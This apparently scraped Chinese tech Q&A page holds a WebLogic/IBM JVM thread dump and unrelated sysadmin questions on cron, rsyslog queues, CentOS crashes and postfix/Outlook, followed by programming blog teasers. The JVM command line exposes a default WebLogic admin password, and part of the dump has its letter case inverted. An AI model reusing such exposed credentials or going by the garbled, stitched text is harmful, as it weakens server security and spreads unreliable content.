weblogic/utils/StackTraceUtilsClient.throwable2StackTrace(StackTraceUtilsClient.java:25(Compiled Code)) at weblogic/jdbc/common/internal/ConnectionEnv.setup(ConnectionEnv.java:308(Compiled Code)) at weblogic/common/resourcepool/ResourcePoolImpl.reserveResource(ResourcePoolImpl.java:303(Compiled Code)) at weblogic/jdbc/common/internal/ConnectionPool.reserve(ConnectionPool.java:427(Compiled Code)) at weblogic/jdbc/common/internal/ConnectionPool.reserve(ConnectionPool.java:316(Compiled Code)) at weblogic/jdbc/common/internal/ConnectionPoolManager.reserve(ConnectionPoolManager.java:85(Compiled Code)) at weblogic/jdbc/common/internal/ConnectionPoolManager.reserve(ConnectionPoolManager.java:61(Compiled Code)) at weblogic/jdbc/jta/DataSource.getXAConnectionFromPool(DataSource.java:1450(Compiled Code)) at weblogic/jdbc/jta/DataSource.refreshXAConnAndEnlist(DataSource.java:1272(Compiled Code)) at weblogic/jdbc/jta/DataSource.getConnection(DataSource.java:425(Compiled Code)) at weblogic/jdbc/jta/DataSource.connect(DataSource.java:382(Compiled Code)) at weblogic/jdbc/common/internal/RmiDataSource.getConnection(RmiDataSource.java:336(Compiled Code)) at com/amerisia/ebills/commons/util/ServiceLocator.getConnection(ServiceLocator.java:66(Compiled Code)) at com/amerisia/ebills/commons/util/BaseDAO.makeConnection(BaseDAO.java:72(Compiled Code)) at com/amerisia/ebills/commons/util/BaseDAO.loadAllRowBySql(BaseDAO.java:623(Compiled Code)) at com/amerisia/ebills/chat/ejbs/ChatDAO.getLeaveWord(ChatDAO.java:119(Compiled Code)) at com/amerisia/ebills/chat/ejbs/ChatManagerEJB.getLeaveWord(ChatManagerEJB.java:165(Compiled Code)) at com/amerisia/ebills/chat/ejbs/ChatManager_oxcdb1_ELOImpl.getLeaveWord(ChatManager_oxcdb1_ELOImpl.java:358(Compiled Code)) at com/amerisia/ebills/chat/facade/ChatNoteManagerEJB.getLeaveWord(ChatNoteManagerEJB.java:110(Compiled Code)) at com/amerisia/ebills/chat/facade/ChatNoteManager_hfunq5_EOImpl.getLeaveWord(ChatNoteManager_hfunq5_EOImpl.java:339(Compiled Code)) at com/amerisia/ebills/chat/facade/ChatNoteManager_hfunq5_EOImpl_WLSkel.invoke(Bytecode PC:240(Compiled Code)) at weblogic/rmi/internal/ServerRequest.sendReceive(ServerRequest.java:174(Compiled Code)) at weblogic/rmi/cluster/ClusterableRemoteRef.invoke(ClusterableRemoteRef.java:345(Compiled Code)) at weblogic/rmi/cluster/ClusterableRemoteRef.invoke(ClusterableRemoteRef.java:259(Compiled Code)) at com/amerisia/ebills/chat/facade/ChatNoteManager_hfunq5_EOImpl_1030_WLStub.getLeaveWord(Bytecode PC:37(Compiled Code)) at com/amerisia/ebills/chat/action/ChatAction.getMsgsForLeft(ChatAction.java:466(Compiled Code)) at sun/reflect/GeneratedMethodAccessor234.invoke(Bytecode PC:64(Compiled Code)) at sun/reflect/DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37(Compiled Code)) at java/lang/reflect/Method.invoke(Method.java:589(Compiled Code)) at com/amerisia/ebills/commons/action/EbillsBaseDispatchAction.dispatchMethod(EbillsBaseDispatchAction.java:1072(Compiled Code)) at org/apache/struts/actions/DispatchAction.execute(DispatchAction.java:194(Compiled Code)) at org/apache/struts/action/RequestProcessor.processActionPerform(RequestProcessor.java(Compiled Code)) at org/apache/struts/action/RequestProcessor.process(RequestProcessor.java:203(Compiled Code)) at org/apache/struts/action/ActionServlet.process(ActionServlet.java:1196(Compiled Code)) at org/apache/struts/action/ActionServlet.doGet(ActionServlet.java:414(Compiled Code)) at javax/servlet/http/HttpServlet.service(HttpServlet.java:707(Compiled Code)) at javax/servlet/http/HttpServlet.service(HttpServlet.java:820(Compiled Code)) at weblogic/servlet/internal/StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:227(Compiled Code)) at weblogic/servlet/internal/StubSecurityHelper.invokeServlet(StubSecurityHelper.java:121(Compiled Code)) at weblogic/servlet/internal/ServletStubImpl.execute(ServletStubImpl.java:292(Compiled Code)) at weblogic/servlet/internal/TailFilter.doFilter(TailFilter.java:26(Compiled Code)) at weblogic/servlet/internal/FilterChainImpl.doFilter(FilterChainImpl.java:42(Compiled Code)) at com/amerisia/ebills/commons/web/EncodingFilter.doFilter(EncodingFilter.java(Compiled Code)) at weblogic/servlet/internal/FilterChainImpl.doFilter(FilterChainImpl.java:42(Compiled Code)) at weblogic/servlet/internal/WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3486(Compiled Code)) at weblogic/security/acl/internal/AuthenticatedSubject.doAs(AuthenticatedSubject.java:321(Compiled Code)) at weblogic/security/service/SecurityManager.runAs(Bytecode PC:18(Compiled Code)) at weblogic/servlet/internal/WebAppServletContext.securedExecute(WebAppServletContext.java:2120(Compiled Code)) at weblogic/servlet/internal/WebAppServletContext.execute(WebAppServletContext.java:2086(Compiled Code)) at weblogic/servlet/internal/ServletRequestImpl.run(ServletRequestImpl.java:1406(Compiled Code)) at weblogic/work/ExecuteThread.execute(ExecuteThread.java:201(Compiled Code)) at weblogic/work/ExecuteThread.run(ExecuteThread.java:173(Compiled Code)) Native Stack (0xD2647A48 [libj9prt24.so+0x9a48]) (0xD2BA2C38 [libj9dmp24.so+0x10c38]) (0xD263FBAC [libj9prt24.so+0x1bac]) (0xD2BA0AB4 [libj9dmp24.so+0xeab4]) (0xD2B9F0CC [libj9dmp24.so+0xd0cc]) (0xD263FBAC [libj9prt24.so+0x1bac]) (0xD2B9ED10 [libj9dmp24.so+0xcd10]) (0xD2BA5280 [libj9dmp24.so+0x13280]) (0xD2B944DC [libj9dmp24.so+0x24dc]) (0xD2B983A0 [libj9dmp24.so+0x63a0]) (0xD263FBAC [libj9prt24.so+0x1bac]) (0xD2B98344 [libj9dmp24.so+0x6344]) (0xD2B98130 [libj9dmp24.so+0x6130]) (0xD2BB3A94 [libj9dmp24.so+0x21a94]) (0xD2BB3ED0 [libj9dmp24.so+0x21ed0]) (0xD0ED2204 [libj9hookable24.so+0x204]) (0xD4007228 [libj9vm24.so+0x9228]) (0xD4007C8C [libj9vm24.so+0x9c8c]) (0xD5016A8C [libj9jit24.so+0x56aa8c]) (0xD4009910 [libj9vm24.so+0xb910]) (0xD263FBAC [libj9prt24.so+0x1bac]) (0xD4009830 [libj9vm24.so+0xb830]) (0xD2197CC0 [libj9thr24.so+0x1cc0]) _pthread_body+0xec (0xD04EFC50 [libpthreads.a+0x3c50]) Number of loaded classes in Java heap : 34,648 Number of classloaders in Java heap : 9,321 Recommended -Xmxcl setting (only for IBM Java 5.0, up to and including Service Refresh 4 (build date:February 1st ,2007)) : 12,117 or greater note: oNLY FOR jAVA 5.0 sERVICE rEFRESH 4 (BUILD DATE:fEBRUARY 1ST, 2007) AND OLDER. wHEN YOU USE DELEGATED CLASS LOADERS, THE jvm CAN CREATE A LARGE NUMBER OF cLASSlOADER OBJECTS. oN ibm jAVA 5.0 sERVICE rEFRESH 4 AND OLDER, THE NUMBER OF CLASS LOADERS THAT ARE PERMITTED IS LIMITED TO 8192 BY DEFAULT AND AN oUToFmEMORYeRROR EXCEPTION IS THROWN WHEN THIS LIMIT IS EXCEEDED. uSE THE -xMXCL PARAMETER TO INCREASE THE NUMBER OF CLASS LOADERS ALLOWED TO AVOID THIS PROBLEM, FOR EXAMPLE TO 25000, BY SETTING -xMXCL25000, UNTIL THE PROBLEM IS RESOLVED. pLEASE EXAMINE THE CURRENT THREAD STACK TRACE TO CHECK WHETHER A CLASS LOADER IS BEING LOADED IF THERE IS AN oUToFmEMORYeRROR. fOR EXAMPLE, THE FOLLOWING STACK TRACE INDICATES THAT A CLASS LOADER IS BEING LOADED: AT COM/IBM/OTI/VM/vm.INITIALIZEcLASSlOADER(nATIVE mETHOD) AT JAVA/LANG/cLASSlOADER. (cLASSlOADER.JAVA:120) cOMMAND LINE : /USR/JAVA6/BIN/JAVA -xMS512M -xMX1024M -DA -dPLATFORM.HOME=/HOME/EBILLS/BEA/WLSERVER_10.3 -dWLS.HOME=/HOME/EBILLS/BEA/WLSERVER_10.3/SERVER -dWEBLOGIC.HOME=/HOME/EBILLS/BEA/WLSERVER_10.3/SERVER -dWEBLOGIC.MANAGEMENT.DISCOVER=TRUE -dWLW.ITERATIVEdEV=FALSE -dWLW.TESTcONSOLE=FALSE -dWLW.LOGeRRORStOcONSOLE= -dCLIENT.ENCODING.OVERRIDE=gbk -dFILE.ENCODING=gbk -dUSER.LANGUAGE=ZH -dUSER.REGION=cn -dDEFAULT.CLIENT.ENCODING=gbk -dWEBLOGIC.THREADPOOL.mINpOOLsIZE=200 -dWEBLOGIC.THREADPOOL.mAXpOOLsIZE=500 -dJAVA.AWT.HEADLESS=TRUE -dWEBLOGIC.EXT.DIRS=/HOME/EBILLS/BEA/PATCH_WLS1030/PROFILES/DEFAULT/SYSEXT_MANIFEST_CLASSPATH:/HOME/EBILLS/BEA/PATCH_CIE660/PROFILES/DEFAULT/SYSEXT_MANIFEST_CLASSPATH -dWEBLOGIC.MANAGEMENT.USERNAME=WEBLOGIC -dWEBLOGIC.MANAGEMENT.PASSWORD=WEBLOGIC -dWEBLOGIC.nAME=aDMINsERVER -dJAVA.SECURITY.POLICY=/HOME/EBILLS/BEA/WLSERVER_10.3/SERVER/LIB/WEBLOGIC.POLICY WEBLOGIC.sERVER tHREAD sTATUS aNALYSIS sTATUS nUMBER OF tHREADS : 287 Percentage Deadlock 0 0 (%) Runnable 6 2 (%) Waiting on condition 263 92 (%) Waiting on monitor 0 0 (%) Suspended 0 0 (%) Object.wait() 0 0 (%) Blocked 16 6 (%) Parked 2 1 (%) Thread Method Analysis Method Name Number of Threads : 287 Percentage java/lang/Object.wait(Native Method) 167 58 (%) java/lang/Thread.sleep(Native Method) 22 8 (%) NO JAVA STACK 13 5 (%) weblogic/socket/PosixSocketMuxer.processSockets(PosixSocketMuxer.java:93(Compiled Code)) 10 3 (%) weblogic/timers/internal/TimerManagerImpl.complete(TimerManagerImpl.java:654(Compiled Code)) 6 2 (%) java/lang/Throwable.fillInStackTrace(Native Method) 5 2 (%) java/net/PlainSocketImpl.socketAccept(Native Method) 5 2 (%) weblogic/servlet/internal/session/SessionContext$SessionInvalidator.timerExpired(SessionContext.java:788(Compiled Code)) 2 1 (%) sun/misc/Unsafe.park(Native Method) 2 1 (%) java/util/AbstractList.iterator(AbstractList.java:583(Compiled Code)) 2 1 (%) java/io/ObjectInputStream$BlockDataInputStream.readUTFBody(ObjectInputStream.java:3036(Compiled Code)) 2 1 (%) java/lang/StringBuilder.toString(StringBuilder.java:803(Compiled Code)) 2 1 (%) sun/reflect/UTF8.encode(UTF8.java:33(Compiled Code)) 2 1 (%) java/nio/CharBuffer.wrap(CharBuffer.java:361(Compiled Code)) 2 1 (%) java/util/Hashtable.newEntry(Hashtable.java:91(Compiled Code)) 2 1 (%) java/util/regex/Pattern.newSingle(Pattern.java:2962(Compiled Code)) 1 0 (%) java/util/Vector. (Vector.java:76(Compiled Code)) 1 0 (%) java/util/TreeMap.putImpl(TreeMap.java:4544(Compiled Code)) 1 0 (%) java/util/Hashtable.put(Hashtable.java:769(Compiled Code)) 1 0 (%) java/util/Hashtable.clone(Hashtable.java:327(Compiled Code)) 1 0 (%) java/util/AbstractList$FullListIterator. (AbstractList.java:94(Compiled Code)) 1 0 (%) java/util/AbstractCollection.toArray(AbstractCollection.java:352(Compiled Code)) 1 0 (%) java/security/SecureRandom.nextBytes(SecureRandom.java:292(Compiled Code)) 1 0 (%) java/net/SocketInputStream.read(SocketInputStream.java:179(Compiled Code)) 1 0 (%) java/net/Inet6AddressImpl.lookupAllHostAddr(Native Method) 1 0 (%) java/lang/reflect/Method.invoke(Method.java:611(Compiled Code)) 1 0 (%) java/lang/reflect/Array.newArrayImpl(Native Method) 1 0 (%) java/lang/Throwable.printStackTrace(Throwable.java:363(Compiled Code)) 1 0 (%) java/lang/Throwable.printStackTrace(Throwable.java:338(Compiled Code)) 1 0 (%) java/lang/StringBuilder.ensureCapacityImpl(StringBuilder.java:339(Compiled Code)) 1 0 (%) java/lang/String.toUpperCase(String.java:1300(Compiled Code)) 1 0 (%) java/lang/String.toUpperCase(String.java:1129(Compiled Code)) 1 0 (%) java/lang/String. (String.java:350(Compiled Code)) 1 0 (%) java/io/ObjectStreamClass.lookup(ObjectStreamClass.java:291(Compiled Code)) 1 0 (%) java/io/ObjectStreamClass.lookup(ObjectStreamClass.java:287(Compiled Code)) 1 0 (%) java/io/ObjectInputStream.readString(ObjectInputStream.java:1629(Compiled Code)) 1 0 (%) com/ibm/tools/attach/javaSE/IPC.waitSemaphore(Native Method) 1 0 (%) com/ibm/misc/SignalDispatcher.waitForSignal(Native Method) 1 0 (%) com/ibm/lang/management/OperatingSystemNotificationThread.processNotificationLoop(Native Method) 1 0 (%) com/ibm/lang/management/MemoryNotificationThread.processNotificationLoop(Native Method) 1 0 (%) com/bea/security/xacml/combinator/standard/StandardRuleCombinerLibrary$3$1.evaluate(StandardRuleCombinerLibrary.java:200(Compiled Code)) 1 0 (%) com/amerisia/ebills/schedule/data/FileSource.findAll(FileSource.java:213(Compiled Code)) 1 0 (%) com/amerisia/ebills/commons/util/BaseDAO.loadAllRowBySql(BaseDAO.java:644(Compiled Code)) 1 0 (%) weblogic/utils/io/ChunkedDataOutputStream.makeChunkedDataInputStream(ChunkedDataOutputStream.java:376(Compiled Code)) 1 0 (%) weblogic/utils/http/QueryParams.getCurrent(QueryParams.java:21(Compiled Code)) 1 0 (%) weblogic/utils/collections/SecondChanceCacheMap.put(SecondChanceCacheMap.java:72(Compiled Code)) 1 0 (%) weblogic/socket/PosixSocketMuxer.poll(Native Method) 1 0 (%) weblogic/servlet/internal/MuxableSocketHTTP. (MuxableSocketHTTP.java:112(Compiled Code)) 1 0 (%) weblogic/security/service/SecurityManager.runAs(Bytecode PC:18(Compiled Code)) 1 0 (%) weblogic/security/service/JNDIResource.initialize(JNDIResource.java:146(Compiled Code)) 1 0 (%) weblogic/jndi/internal/BasicNamingNode.getPrefix(BasicNamingNode.java:984(Compiled Code)) 1 0 (%) sun/util/calendar/ZoneInfo.getOffsets(ZoneInfo.java:237(Compiled Code)) 1 0 (%) sun/reflect/GeneratedMethodAccessor120.invoke(Bytecode PC:0(Compiled Code)) 1 0 (%) org/apache/struts/util/RequestUtils.populate(RequestUtils.java:399(Compiled Code)) 1 0 (%) oracle/net/ano/AnoComm.o(Bytecode PC:1(Compiled Code)) 1 0 (%) oracle/jdbc/driver/T4CPreparedStatement.executeForDescribe(T4CPreparedStatement.java:801(Compiled Code)) 1 0 (%) oracle/jdbc/driver/T4CMAREngine.unmarshalKEYVAL(T4CMAREngine.java:1859(Compiled Code)) 1 0 (%) oracle/jdbc/driver/DBConversion.stringToDriverCharBytes(DBConversion.java:443(Compiled Code)) 1 0 (%) Thread Aggregation Analysis Thread Type Number of Threads : 287 Percentage Thread 276 96 (%)
请问centos系统/etc/cron.daily/下的脚本,是在哪里设置的定时执行呢?
在CeontOS6 里面,crond每分钟去/etc/cron.d里面搜索配置文件,里面有一个0hourly文件,里面写了01 * * * * root run-parts /etc/cron.hourly。是每隔1小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次。0anacron按照/etc/anacrontab文件里面的配置,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。这也是为什么/etc/anacrontab文件里面只定义了cron.daily、cron.weekly与cron.monthly,而没有定义cron.hourly,因为cron.daily、cron.weekly与cron.monthly其实是由cron.hourly调起来的。 每小时运行的0anacron只负责进行时间戳的比对,如果当前日期和上次运行anacron的日期不符,说明系统停机过了,就会启动anacron这 支程序,再由anacron根据/etc/anacrontab配置进一步判断,然后去运行cron.daily、cron.weekly与cron.monthly里面未完成的任务。 那么anacrontab不管hourly任务了吗?? 真时的执行流程是怎样的??有么有大神来解答啊??
linux rsyslog 的 rsyslog.conf 配置客户端 缓存问题
现在对客户端的配置修改: ** * **# Remote Logging (we use TCP for reliable delivery) # An on-disk queue is created for this action. If the remote host is # down, messages are spooled to disk and sent when it is up again. $WorkDirectory /rsyslog/spool # where to place spool files $ActionQueueFileName uniqName # unique name prefix for spool files $ActionQueueMaxDiskSpace 1g # 1gb space limit (use as much as possible) $ActionQueueSaveOnShutdown off # save messages to disk on shutdown $ActionQueueType LinkedList # run asynchronously#$ActionResumeRetryCount -1 # infinite retries if host is down # remote host is: name/ip:port, e.g. 192.168.0.1:514, port optional *.* @@remote-host:514** * ** # ######### Receiving Messages from Remote Hosts ########## 需求:我的客户端长时间与服务器断开,一般不与服务器连接的,只有在需要的时候才连接,估计是1年或者2年后,所以rsyslog 必须保存缓存。我只想保存最近的1g,或者400m什么的,在1g或者400m空间里,产生的新的覆盖旧的,最多永远是1g或者400m.这个配置好像不好弄, 尝试: 服务器断开后,能生存缓存,总共缓存可以达到1g, 但是到了1g后,就不能再缓存日志了,就是写不进去了。 请问:这段如何配置,使达到1g后,又从开始位置文件写,使缓存文件,保存最近的1g日志,新的覆盖旧的,我试了很多办法,都无效, rsyslog.conf 配置文件内容: # if you experience problems, check # http://www.rsyslog.com/troubleshoot for assistance # rsyslog v3: load input modules # If you do not load inputs, nothing happens! # You may need to set the module load path if modules are not found. $ModLoad immark # provides --MARK-- message capability $ModLoad imuxsock # provides support for local system logging (e.g. via logger command) $ModLoad imklog # kernel logging (formerly provided by rklogd) # Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.* /dev/console # Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none;cron.none -/var/log/messages # The authpriv file has restricted access. authpriv.* /var/log/secure # Log all the mail messages in one place. mail.* -/var/log/maillog # Log cron stuff cron.* -/var/log/cron # Everybody gets emergency messages *.emerg * # Save news errors of level crit and higher in a special file. uucp,news.crit -/var/log/spooler # Save boot messages also to boot.log local7.* /var/log/boot.log ** * **# Remote Logging (we use TCP for reliable delivery) # An on-disk queue is created for this action. If the remote host is # down, messages are spooled to disk and sent when it is up again. $WorkDirectory /rsyslog/spool # where to place spool files $ActionQueueFileName uniqName # unique name prefix for spool files $ActionQueueMaxDiskSpace 1g # 1gb space limit (use as much as possible) $ActionQueueSaveOnShutdown off # save messages to disk on shutdown $ActionQueueType LinkedList # run asynchronously $ActionResumeRetryCount -1 # infinite retries if host is down # remote host is: name/ip:port, e.g. 192.168.0.1:514, port optional *.* @@remote-host:514** * ** # ######### Receiving Messages from Remote Hosts ########## # TCP Syslog Server: # provides TCP syslog reception and GSS-API (if compiled to support it) #$ModLoad imtcp.so # load module #$InputTCPServerRun 514 # start up TCP listener at port 514 # UDP Syslog Server: #$ModLoad imudp.so # provides UDP syslog reception #$UDPServerRun 514 # start a UDP syslog server at standard port 514
笔记本centos7时常无故突然死机
前几天在dell笔记本上安装了Centos 7,然而有时候刚开机到登录界面或者刚进入bash,笔记本就突然像断电似的,突然黑屏死机。之后也无法重启(一按电源键马上就断电死机),只能把所有接口(电源线,usb,网线)拔了,才能启动。 本来想用centos作桌面的,现在弄得总突然死机,硬盘也伤的很,挺恼怒地。 请各路大神帮小弟看一看那地方出错了(度娘后个人怀疑可能是电源或者显卡问题) 笔记本配置如下: DEll 5568 intel CORE i5 7th ,4G内存 ,双硬盘, 2GN卡,uefi启动模式。 然后**_abrt-cli list 显示Problems如下_**: id dce75e5ec952c7757594d9394f945a823ded03a9 reason: mce: [Hardware Error]: Machine check events logged time: Sun 02 Apr 2017 01:22:02 PM CST _**cmdline: BOOT_IMAGE=/vmlinuz-0-rescue-599510e62cac4f08b17a1c4055ae37e1 root=UUID=f8697ca6-51fb-489b-a4d3-02ec2c810886 ro rhgb quiet**_ uid: 0 Directory: /var/spool/abrt/oops-2017-04-02-13:22:02-1026-0 **_/var/log/message的一部分bug_**(在13:22多突然死机): Apr 2 13:22:12 localhost dbus-daemon: dbus[999]: [system] Rejected send message, 2 matched rules; type="method_call", sender=":1.45" (uid=42 pid=1819 comm="gnome-shell --mode=gdm ") interface="org.freedesktop.DBus.ObjectManager" member="GetManagedObjects" error name="(unset)" requested_reply="0" destination=":1.4" (uid=0 pid=1010 comm="/usr/libexec/bluetooth/bluetoothd ") Apr 2 13:22:12 localhost dbus[999]: [system] Rejected send message, 2 matched rules; type="method_call", sender=":1.45" (uid=42 pid=1819 comm="gnome-shell --mode=gdm ") interface="org.freedesktop.DBus.ObjectManager" member="GetManagedObjects" error name="(unset)" requested_reply="0" destination=":1.4" (uid=0 pid=1010 comm="/usr/libexec/bluetooth/bluetoothd ") **_还有几个bug,这四个errors几乎刷屏_**: Apr 2 13:19:47 localhost firefox.desktop: (plugin-container:3512): Gdk-CRITICAL **: IA__gdk_colormap_alloc_colors: assertion 'GDK_IS_COLORMAP (colormap)' failed Apr 2 13:19:47 localhost firefox.desktop: (plugin-container:3512): Gtk-CRITICAL **: IA__gtk_widget_modify_bg: assertion 'GTK_IS_WIDGET (widget)' failed Apr 2 13:19:48 localhost firefox.desktop: (plugin-container:3512): Gtk-CRITICAL **: IA__gtk_widget_get_visual: assertion 'GTK_IS_WIDGET (widget)' failed Apr 2 13:19:48 localhost firefox.desktop: (plugin-container:3512): Gdk-CRITICAL **: IA__gdk_colormap_new: assertion 'GDK_IS_VISUAL (visual)' failed message里主要是上面的错误信息。 小弟linux刚入坑几个月,看不懂,请大侠多多指教。解决这个问题。
postfix+dovecot+extmail+nginx,在使用outlook时出现问题
给公司内部配置个邮件服务器,不对外。 以文章http://linuxu.blog.51cto.com/9471357/1641436/作为参考。 其间出现种种问题,一一解决。目前状态是以网页的形式可以正常使用,但是使用 outlook客户端时就不能工作,显示无法登录接收的邮件服务器。 我的postfix的main.cf文件是 compatibility_level = 2 queue_directory = /var/spool/postfix command_directory = /usr/sbin daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix mail_owner = postfix unknown_local_recipient_reject_code = 550 debug_peer_level = 2 debugger_command = PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin ddd $daemon_directory/$process_name $process_id & sleep 5 sendmail_path = /usr/sbin/sendmail newaliases_path = /usr/bin/newaliases mailq_path = /usr/bin/mailq setgid_group = postdrop html_directory = no manpage_directory = /usr/local/man sample_directory = /etc/postfix readme_directory = no inet_protocols = ipv4 meta_directory = /etc/postfix shlib_directory = no myhostname = XTIC mydomain = mail.xtic.com myorigin = $mydomain inet_interfaces = all #mydestination = $myhostname, localhost, $mydomain, localhost.$mydomain mynetworks = 192.168.2.0/24, 127.0.0.0/8 #mynetworks = 0.0.0.0/0 alias_maps = hash:/etc/aliases smtputf8_enable = no ## postfix support smtp ## smtpd_sasl_auth_enable = yes smtpd_sasl_local_domain = '' smtpd_recipient_restrictions = permit_mynetworks,permit_sasl_authenticated,reject_unauth_destination #smtpd_recipient_restrictions = permit_mynetworks broken_sasl_auth_clients = yes smtpd_client_restrictions = permit_mynetworks,permit_sasl_authenticated #smtpd_client_restrictions = permit_mynetworks smtpd_sasl_security_options = noanonymous ## postfix support virtual ## virtual_mailbox_base = /var/mailbox virtual_mailbox_maps = mysql:/etc/postfix/mysql_virtual_mailbox_maps.cf virtual_mailbox_domains = mysql:/etc/postfix/mysql_virtual_domains_maps.cf virtual_alias_domains = virtual_alias_maps = mysql:/etc/postfix/mysql_virtual_alias_maps.cf virtual_uid_maps = static:2525 virtual_gid_maps = static:2525 virtual_transport = virtual maillog文件内容是 Sep 14 11:10:17 XTIC postfix/smtpd[5635]: connect from unknown[192.168.1.200] Sep 14 11:10:17 XTIC postfix/smtpd[5635]: DC4901C0852: client=unknown[192.168.1.200], sasl_method=LOGIN, sasl_username=zxdong@mail.xtic.com Sep 14 11:10:17 XTIC postfix/cleanup[5644]: DC4901C0852: message-id=<> Sep 14 11:10:17 XTIC postfix/smtpd[5635]: disconnect from unknown[192.168.1.200] ehlo=1 auth=1 mail=1 rcpt=1 data=1 commands=5 Sep 14 11:10:18 XTIC postfix/qmgr[28146]: DC4901C0852: from=<zxdong@mail.xtic.com>, size=546, nrcpt=1 (queue active) Sep 14 11:10:18 XTIC postfix/virtual[5646]: DC4901C0852: to=<zxdong@mail.xtic.com>, relay=virtual, delay=0.25, delays=0.17/0.03/0/0.05, dsn=2.0.0, status=sent (delivered to maildir) Sep 14 11:10:18 XTIC postfix/qmgr[28146]: DC4901C0852: removed 望哪位高人给点指点,谢谢
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它是一个过程,是一个不断累积、不断沉淀、不断总结、善于传达自己的个人见解以及乐于分享的过程。
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 free -m 其中:m表示兆,也可以用g,注意都要小写 Men:表示物理内存统计 total:表示物理内存总数(total=used+free) use...
比特币原理详解
一、什么是比特币 比特币是一种电子货币,是一种基于密码学的货币,在2008年11月1日由中本聪发表比特币白皮书,文中提出了一种去中心化的电子记账系统,我们平时的电子现金是银行来记账,因为银行的背后是国家信用。去中心化电子记账系统是参与者共同记账。比特币可以防止主权危机、信用风险。其好处不多做赘述,这一层面介绍的文章很多,本文主要从更深层的技术原理角度进行介绍。 二、问题引入 假设现有4个人...
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发...
网页实现一个简单的音乐播放器(大佬别看。(⊙﹏⊙))
今天闲着无事,就想写点东西。然后听了下歌,就打算写个播放器。 于是乎用h5 audio的加上js简单的播放器完工了。 演示地点演示 html代码如下` music 这个年纪 七月的风 音乐 ` 然后就是css`*{ margin: 0; padding: 0; text-decoration: none; list-...
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。
数据库优化 - SQL优化
以实际SQL入手,带你一步一步走上SQL优化之路!
通俗易懂地给女朋友讲:线程池的内部原理
餐盘在灯光的照耀下格外晶莹洁白,女朋友拿起红酒杯轻轻地抿了一小口,对我说:“经常听你说线程池,到底线程池到底是个什么原理?”
经典算法(5)杨辉三角
杨辉三角 是经典算法,这篇博客对它的算法思想进行了讲解,并有完整的代码实现。
使用 Docker 部署 Spring Boot 项目
Docker 技术发展为微服务落地提供了更加便利的环境,使用 Docker 部署 Spring Boot 其实非常简单,这篇文章我们就来简单学习下。首先构建一个简单的 S...
英特尔不为人知的 B 面
从 PC 时代至今,众人只知在 CPU、GPU、XPU、制程、工艺等战场中,英特尔在与同行硬件芯片制造商们的竞争中杀出重围,且在不断的成长进化中,成为全球知名的半导体公司。殊不知,在「刚硬」的背后,英特尔「柔性」的软件早已经做到了全方位的支持与支撑,并持续发挥独特的生态价值,推动产业合作共赢。 而对于这一不知人知的 B 面,很多人将其称之为英特尔隐形的翅膀,虽低调,但是影响力却不容小觑。 那么,在...
面试官:你连RESTful都不知道我怎么敢要你?
干货,2019 RESTful最贱实践
刷了几千道算法题,这些我私藏的刷题网站都在这里了!
遥想当年,机缘巧合入了 ACM 的坑,周边巨擘林立,从此过上了"天天被虐似死狗"的生活… 然而我是谁,我可是死狗中的战斗鸡,智力不够那刷题来凑,开始了夜以继日哼哧哼哧刷题的日子,从此"读题与提交齐飞, AC 与 WA 一色 ",我惊喜的发现被题虐既刺激又有快感,那一刻我泪流满面。这么好的事儿作为一个正直的人绝不能自己独享,经过激烈的颅内斗争,我决定把我私藏的十几个 T 的,阿不,十几个刷题网...
白话阿里巴巴Java开发手册高级篇
